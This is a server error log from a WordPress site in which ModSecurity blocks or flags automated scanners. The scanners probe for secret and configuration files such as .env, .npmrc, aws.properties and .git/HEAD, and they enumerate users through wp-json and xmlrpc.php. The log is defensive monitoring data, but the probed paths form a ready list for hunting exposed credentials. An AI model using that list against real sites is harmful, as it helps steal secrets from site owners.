[Fri Dec 05 23:07:03.780843 2025] [:error] [pid 35962:tid 35972] [client 44.248.196.54:55770] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config/database.json"] [unique_id "aTL1F5-hnYjbYINfh7H_RgAAAEg"]
[Fri Dec 05 23:07:04.513791 2025] [:error] [pid 35962:tid 35969] [client 44.248.196.54:55776] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.js"] [unique_id "aTL1GJ-hnYjbYINfh7H_TQAAAEU"]
[Fri Dec 05 23:07:05.242307 2025] [:error] [pid 32385:tid 32408] [client 44.248.196.54:55784] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api_keys.js"] [unique_id "aTL1Ga-noNHpDvGbpCtSQgAAARQ"]
[Fri Dec 05 23:07:05.972710 2025] [:error] [pid 18579:tid 18603] [client 44.248.196.54:57790] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.js"] [unique_id "aTL1GcAUSulJty2JiBrOlgAAABI"]
[Fri Dec 05 23:07:06.700179 2025] [:error] [pid 18520:tid 18547] [client 44.248.196.54:57794] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/package.json"] [unique_id "aTL1GoOC8XSo46ZrIeMO-QAAAJc"]
[Fri Dec 05 23:07:07.429931 2025] [:error] [pid 32385:tid 32395] [client 44.248.196.54:57808] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/server.js"] [unique_id "aTL1G6-noNHpDvGbpCtSSAAAAQc"]
[Fri Dec 05 23:07:08.156235 2025] [:error] [pid 32416:tid 32436] [client 44.248.196.54:57820] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.js"] [unique_id "aTL1HNw2m4oeKabXf6-MZwAAAZI"]
[Fri Dec 05 23:07:08.880313 2025] [:error] [pid 18579:tid 18596] [client 44.248.196.54:57828] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config/env.js"] [unique_id "aTL1HMAUSulJty2JiBrOngAAAAs"]
[Fri Dec 05 23:07:09.608269 2025] [:error] [pid 18579:tid 18601] [client 44.248.196.54:57832] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secrets.js"] [unique_id "aTL1HcAUSulJty2JiBrOogAAABA"]
[Fri Dec 05 23:07:10.334906 2025] [:error] [pid 32416:tid 32437] [client 44.248.196.54:57848] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/node.config.json"] [unique_id "aTL1Htw2m4oeKabXf6-MawAAAZM"]
[Fri Dec 05 23:07:11.061440 2025] [:error] [pid 32416:tid 32438] [client 44.248.196.54:57856] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/secrets.json"] [unique_id "aTL1H9w2m4oeKabXf6-MbAAAAZQ"]
[Fri Dec 05 23:07:11.786175 2025] [:error] [pid 18579:tid 18598] [client 44.248.196.54:57858] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/client/config.js"] [unique_id "aTL1H8AUSulJty2JiBrOqQAAAA0"]
[Fri Dec 05 23:07:12.514836 2025] [:error] [pid 32416:tid 32431] [client 44.248.196.54:57870] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/config.js"] [unique_id "aTL1INw2m4oeKabXf6-MbwAAAY0"]
[Fri Dec 05 23:07:13.247881 2025] [:error] [pid 35962:tid 35976] [client 44.248.196.54:57876] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/src/config/api.js"] [unique_id "aTL1IZ-hnYjbYINfh7H_WAAAAEw"]
[Fri Dec 05 23:07:13.973847 2025] [:error] [pid 18579:tid 18595] [client 44.248.196.54:57882] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/node_modules/.bin/env"] [unique_id "aTL1IcAUSulJty2JiBrOrwAAAAo"]
[Fri Dec 05 23:07:14.700824 2025] [:error] [pid 32416:tid 32422] [client 44.248.196.54:57890] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.npmrc"] [unique_id "aTL1Itw2m4oeKabXf6-MdwAAAYQ"]
[Fri Dec 05 23:07:15.425123 2025] [:error] [pid 35962:tid 35980] [client 44.248.196.54:57902] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yarn.lock"] [unique_id "aTL1I5-hnYjbYINfh7H_WgAAAFA"]
[Fri Dec 05 23:07:16.148524 2025] [:error] [pid 18521:tid 18570] [client 44.248.196.54:33558] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config/client.js"] [unique_id "aTL1JE_hJ6r18UnAijyuyAAAANM"]
[Fri Dec 05 23:07:16.875102 2025] [:error] [pid 32416:tid 32425] [client 44.248.196.54:33562] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api/config.js"] [unique_id "aTL1JNw2m4oeKabXf6-MgAAAAYc"]
[Fri Dec 05 23:07:17.599150 2025] [:error] [pid 32385:tid 32392] [client 44.248.196.54:33578] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/frontend/env.json"] [unique_id "aTL1Ja-noNHpDvGbpCtSSgAAAQQ"]
[Fri Dec 05 23:07:18.324741 2025] [:error] [pid 32416:tid 32435] [client 44.248.196.54:33582] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/backend/secrets.js"] [unique_id "aTL1Jtw2m4oeKabXf6-MhAAAAZE"]
[Fri Dec 05 23:07:19.055919 2025] [:error] [pid 32416:tid 32440] [client 44.248.196.54:33590] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/application.properties"] [unique_id "aTL1J9w2m4oeKabXf6-MiQAAAZY"]
[Fri Dec 05 23:07:19.788262 2025] [:error] [pid 32385:tid 32394] [client 44.248.196.54:33600] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secrets.properties"] [unique_id "aTL1J6-noNHpDvGbpCtSSwAAAQY"]
[Fri Dec 05 23:07:20.518958 2025] [:error] [pid 18520:tid 18542] [client 44.248.196.54:33612] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/database.properties"] [unique_id "aTL1KIOC8XSo46ZrIeMPAAAAAJI"]
[Fri Dec 05 23:07:21.250117 2025] [:error] [pid 32416:tid 32432] [client 44.248.196.54:33620] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.ini"] [unique_id "aTL1Kdw2m4oeKabXf6-MjAAAAY4"]
[Fri Dec 05 23:07:21.976111 2025] [:error] [pid 35962:tid 35979] [client 44.248.196.54:33626] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/local.ini"] [unique_id "aTL1KZ-hnYjbYINfh7H_YwAAAE8"]
[Fri Dec 05 23:07:22.705444 2025] [:error] [pid 32416:tid 32421] [client 44.248.196.54:33632] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secrets.ini"] [unique_id "aTL1Ktw2m4oeKabXf6-MkQAAAYM"]
[Fri Dec 05 23:07:23.438105 2025] [:error] [pid 18521:tid 18567] [client 44.248.196.54:33640] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.json"] [unique_id "aTL1K0_hJ6r18UnAijyuywAAANA"]
[Fri Dec 05 23:07:24.168610 2025] [:error] [pid 18521:tid 18571] [client 44.248.196.54:33646] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config/secrets.json"] [unique_id "aTL1LE_hJ6r18UnAijyuzgAAANQ"]
[Fri Dec 05 23:07:24.895129 2025] [:error] [pid 18520:tid 18531] [client 44.248.196.54:33662] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/local.json"] [unique_id "aTL1LIOC8XSo46ZrIeMPAQAAAIc"]
[Fri Dec 05 23:07:25.623703 2025] [:error] [pid 18520:tid 18532] [client 44.248.196.54:49496] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/database.json"] [unique_id "aTL1LYOC8XSo46ZrIeMPAgAAAIg"]
[Fri Dec 05 23:07:26.350355 2025] [:error] [pid 18521:tid 18566] [client 44.248.196.54:49502] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/env.properties"] [unique_id "aTL1Lk_hJ6r18UnAijyu0QAAAM8"]
[Fri Dec 05 23:07:27.075660 2025] [:error] [pid 18579:tid 18589] [client 44.248.196.54:49506] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws.properties"] [unique_id "aTL1L8AUSulJty2JiBrOwQAAAAQ"]
[Fri Dec 05 23:07:27.799171 2025] [:error] [pid 35962:tid 35981] [client 44.248.196.54:49512] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php.ini"] [unique_id "aTL1L5-hnYjbYINfh7H_awAAAFE"]
[Fri Dec 05 23:07:28.532524 2025] [:error] [pid 32385:tid 32402] [client 44.248.196.54:49526] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.properties"] [unique_id "aTL1MK-noNHpDvGbpCtSWwAAAQ4"]
[Fri Dec 05 23:07:29.262337 2025] [:error] [pid 18579:tid 18592] [client 44.248.196.54:49528] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/user.properties"] [unique_id "aTL1McAUSulJty2JiBrOxAAAAAc"]
[Fri Dec 05 23:07:29.985771 2025] [:error] [pid 32385:tid 32393] [client 44.248.196.54:49536] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system.ini"] [unique_id "aTL1Ma-noNHpDvGbpCtSYAAAAQU"]
[Fri Dec 05 23:07:30.714587 2025] [:error] [pid 32416:tid 32440] [client 44.248.196.54:49544] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/global.json"] [unique_id "aTL1Mtw2m4oeKabXf6-MmwAAAZY"]
[Fri Dec 05 23:31:05.512817 2025] [:error] [pid 35962:tid 35986] [client 35.197.46.60:55368] [client 35.197.46.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.197.46.60, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTL6uZ-hnYjbYINfh7EEIwAAAFY"]
[Fri Dec 05 23:31:08.389005 2025] [:error] [pid 35962:tid 35979] [client 35.197.46.60:55368] [client 35.197.46.60] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTL6vJ-hnYjbYINfh7EEJwAAAE8"]
[Fri Dec 05 23:31:10.788730 2025] [:error] [pid 35962:tid 35985] [client 35.197.46.60:55368] [client 35.197.46.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.197.46.60, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTL6vp-hnYjbYINfh7EELAAAAFU"]
[Fri Dec 05 23:48:41.619986 2025] [:error] [pid 18521:tid 18559] [client 35.203.183.181:64445] [client 35.203.183.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.203.183.181, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTL-2U_hJ6r18UnAijy2YAAAAMg"]
[Fri Dec 05 23:48:44.313656 2025] [:error] [pid 18521:tid 18565] [client 35.203.183.181:64445] [client 35.203.183.181] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTL-3E_hJ6r18UnAijy2ZgAAAM4"]
[Fri Dec 05 23:48:46.635913 2025] [:error] [pid 18521:tid 18551] [client 35.203.183.181:64445] [client 35.203.183.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.203.183.181, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTL-3k_hJ6r18UnAijy2bAAAAMA"]
[Fri Dec 05 23:53:56.059720 2025] [:error] [pid 18579:tid 18599] [client 136.117.168.166:55060] [client 136.117.168.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.168.166, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTMAFMAUSulJty2JiBrX7QAAAA4"]
[Fri Dec 05 23:53:58.811470 2025] [:error] [pid 18579:tid 18597] [client 136.117.168.166:55060] [client 136.117.168.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTMAFsAUSulJty2JiBrX8wAAAAw"]
[Fri Dec 05 23:54:01.103734 2025] [:error] [pid 18579:tid 18588] [client 136.117.168.166:55060] [client 136.117.168.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.168.166, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTMAGcAUSulJty2JiBrX-gAAAAM"]
[Sat Dec 06 00:52:24.371040 2025] [:error] [pid 21704:tid 21724] [client 45.130.203.196:22259] [client 45.130.203.196] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aTMNyDzH7mDgW2-7yVIi7QAAAI8"]
[Sat Dec 06 00:52:25.270527 2025] [:error] [pid 21706:tid 21765] [client 45.130.203.185:24355] [client 45.130.203.185] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aTMNycgkvG4puA99YgF4wwAAAUI"]
[Sat Dec 06 01:24:55.857325 2025] [:error] [pid 21789:tid 21803] [client 34.138.27.57:65251] [client 34.138.27.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.27.57, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTMVZ_5RGbqUVi6HZ1WqkgAAAEw"]
[Sat Dec 06 01:24:58.887175 2025] [:error] [pid 21789:tid 21792] [client 34.138.27.57:65251] [client 34.138.27.57] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTMVav5RGbqUVi6HZ1WqmwAAAEE"]
[Sat Dec 06 01:25:01.109868 2025] [:error] [pid 21789:tid 21793] [client 34.138.27.57:65251] [client 34.138.27.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.27.57, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTMVbf5RGbqUVi6HZ1WqqgAAAEI"]
[Sat Dec 06 03:14:38.570649 2025] [proxy_fcgi:error] [pid 41433:tid 41503] [client 167.235.143.113:23844] AH01067: Failed to read FastCGI header, referer: https://vetstars.com.au/
[Sat Dec 06 03:14:38.570733 2025] [proxy_fcgi:error] [pid 41433:tid 41503] (104)Connection reset by peer: [client 167.235.143.113:23844] AH01075: Error dispatching request to : , referer: https://vetstars.com.au/
[Sat Dec 06 04:14:42.424516 2025] [:error] [pid 61216:tid 61252] [client 136.116.48.74:51778] [client 136.116.48.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.116.48.74, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTM9MjHlXXVdP5ewviVljwAAAEY"]
[Sat Dec 06 04:14:46.642759 2025] [:error] [pid 61216:tid 61265] [client 136.116.48.74:51778] [client 136.116.48.74] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTM9NjHlXXVdP5ewviVlrAAAAFM"]
